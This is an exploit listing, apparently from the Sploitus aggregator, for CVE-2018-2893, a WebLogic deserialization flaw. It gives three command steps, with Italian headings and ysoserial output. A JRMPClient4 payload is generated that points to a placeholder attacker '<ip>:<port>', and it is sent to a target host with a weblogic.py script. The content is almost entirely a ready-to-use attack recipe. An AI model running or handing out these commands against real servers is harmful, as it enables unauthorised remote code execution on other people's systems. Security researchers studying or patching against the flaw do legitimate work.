Sploitus

Exploit for CVE-2018-2893

kitploit · 2026-08-26

Exploit Code

MARKDOWN29 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ARTOFWAR344-CVE-2018-2893
# CVE-2018-2893

## Passaggio 1

`java -jar ysoserial-cve-2018-2893.jar`

root@kitploit:~
    
    
    WHY SO SERIAL?
    Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
    Available payload types:
         Payload     Authors   Dependencies
         -------     -------   ------------
         JRMPClient  @mbechler
         JRMPClient2 @pynerd
         JRMPClient3 @pynerd
         JRMPClient4 @pynerd
         Jdk7u21     @frohoff
    

## Passaggio 2

`java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "<ip>:<port>" > poc4.ser`

## Passaggio 3

`python weblogic.py <host> <port> poc4.ser`